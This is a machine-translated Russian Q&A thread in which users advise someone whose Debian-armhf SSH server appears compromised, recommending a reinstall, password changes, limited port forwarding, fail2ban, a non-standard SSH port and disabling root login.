  1. Является Debian-armhf ваше имя хоста? Или вы используете установку по умолчанию с настройками по умолчанию? С этим нет никаких проблем, но вы не должны допускать, чтобы хост напрямую подвергался воздействию Интернета (т. Е. Не защищался вашим модемом, по крайней мере).

  2. Похоже, настоящая проблема исходит из 222.186.30.209 (видеть http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). Вы не должны прислушиваться к IP-адресу Microsoft. IP-адреса могут быть более или менее поддельными или подделанными довольно легко.

  3. Обычным способом подключения к Интернету является пересылка известного списка портов из вашего общедоступного IP-адреса (например, 8.8.8.8) на ваш локальный (например, 192.168.1.12).

    • Например, не пересылайте все входящие соединения из 8.8.8.8 (публичный) 192.168.1.12 (местный).

    • Только пересылаемые порты 22 а также 25 (ssh и входящая почта, соответственно). Разумеется, вы должны иметь современный SSH а также SMTP пакетов / библиотек.

  4. Что дальше? Отключите хост и измените любые пароли (на любых компьютерах, связанных с организацией), которые жестко закодированы в сценариях оболочки (стыдно за вас!) В /etc/shadow,


11
2018-02-01 13:03



1. Да Debian-armhf это имя хоста. 2. Да, я прочитал эту статью, и я связался с Microsoft через их сайт cest.microsoft.com. 3. Я только переслал 25 и 22, больше ничего не было отправлено. 4. Я сделаю это - vaid
«IP может быть поддельным более или менее легко»: я не специалист по безопасности и сети. Как это возможно? - kevinarpe
@kevinarpe Это, вероятно, гораздо лучше, чем отдельный вопрос. - Michael Kjörling
видеть stackoverflow.com/questions/5180557/... а также superuser.com/questions/37687/... - Archemar
@Archemar: SSH - TCP; Подделка TCP-источника IP затруднительна, если не невозможна. Кроме того, как установлено выше, Microsoft IP принадлежит к их облачному сервису Azure, что означает, что любой может покупать время на службе для атаки других. - nneonneo


Как отмечали другие, довольно ясно, что безопасность вашего сервера была скомпрометирована. Самое безопасное - протирать эту машину и переустановить.

Чтобы ответить на вторую часть вашего вопроса, если вы не можете использовать открытый ключ, я рекомендую хотя бы настроить Fail2Ban и запустить SSH на нестандартном порту. Я также отключил доступ к SSH.

fail2ban поможет смягчить атаки грубой силы, запретив IP-адреса, которые не могут войти в систему определенное количество раз.

Установка sshd для прослушивания на нестандартном порту, по крайней мере, поможет уменьшить видимость вашего SSH-сервера. Отключение корневого входа также слегка уменьшает профиль атаки. В /etc/sshd_config:

PermitRootLogin no
Port xxxxx

При отключенном корневом интерфейсе вам необходимо либо переключиться на root с помощью su после подключения или (более предпочтительно) использования sudo для выполнения привилегированных команд.


9
2018-02-02 16:58



Я сделал это, спасибо за совет. - vaid


Серверы SSH постоянно подвергаются атакам в Интернете. Несколько вещей, которые вы делаете:

  1. Убедитесь, что вы используете безопасный случайный пароль для компьютеров, доступных через Интернет. Я имею в виду 16 символов и более и полностью случайный. Используйте менеджер паролей, поэтому вам не нужно его запоминать. Если вы можете запомнить свой пароль, это слишком просто.

  2. Если вам не нужен SSH, выключите его. Если вам это нужно, но не нужно, чтобы он был общедоступным, запустите его на высоком нестандартном номере порта. Это значительно сократит количество попыток взлома. Да, выделенный хакер может выполнять сканирование портов, но автоматические боты его не найдут.

Фрагмент из вашего журнала авторизации показывает неудачную попытку. Однако, если вы посмотрите дальше, вы, несомненно, увидите успешный вход в систему. Это вы используете простой пароль, тогда тривиально для бота, чтобы войти.

Вам необходимо изолировать эту машину от сети. Очень тщательно получите то, что вам нужно, и затем вытрите его.


8
2018-02-01 23:51



Когда я использовал для запуска ssh на порте 22, у меня обычно было бы тысячи попыток взлома в день. Когда я перешел на высокий номер порта (более 50000), эти попытки взлома полностью прекратились. - user1751825
16 символов недостаточно безопасны. Выход из системы также удобен. Просто не делайте это блокировкой perm, истекайте, но делайте это как час. Таким образом, вы можете получить доступ к серверу. - Ramhound
Обратите внимание, что шаг 2) не является строго необходимым для обеспечения безопасности, если у вас есть сильная аутентификация (открытый ключ или сильный пароль). - user20574
@Ramhound Почему нет? Даже если это были только строчные буквы, 16 строчных букв дают возможности 43608742899428874059776, что нецелесообразно для грубой силы, особенно для онлайн-грубой силы, когда сервер заставляет вас ждать каждый раз, когда вы не выполняете попытку. - user20574
@ User20574. Хотя это не является абсолютно необходимым, сокращение видимости службы SSH по-прежнему очень полезно. Даже если не для того, чтобы удалить беспорядок из ваших журналов. Если машина должна быть доступна только для ограниченной группы людей, то нестандартный порт является вполне разумным шагом для повышения безопасности. - user1751825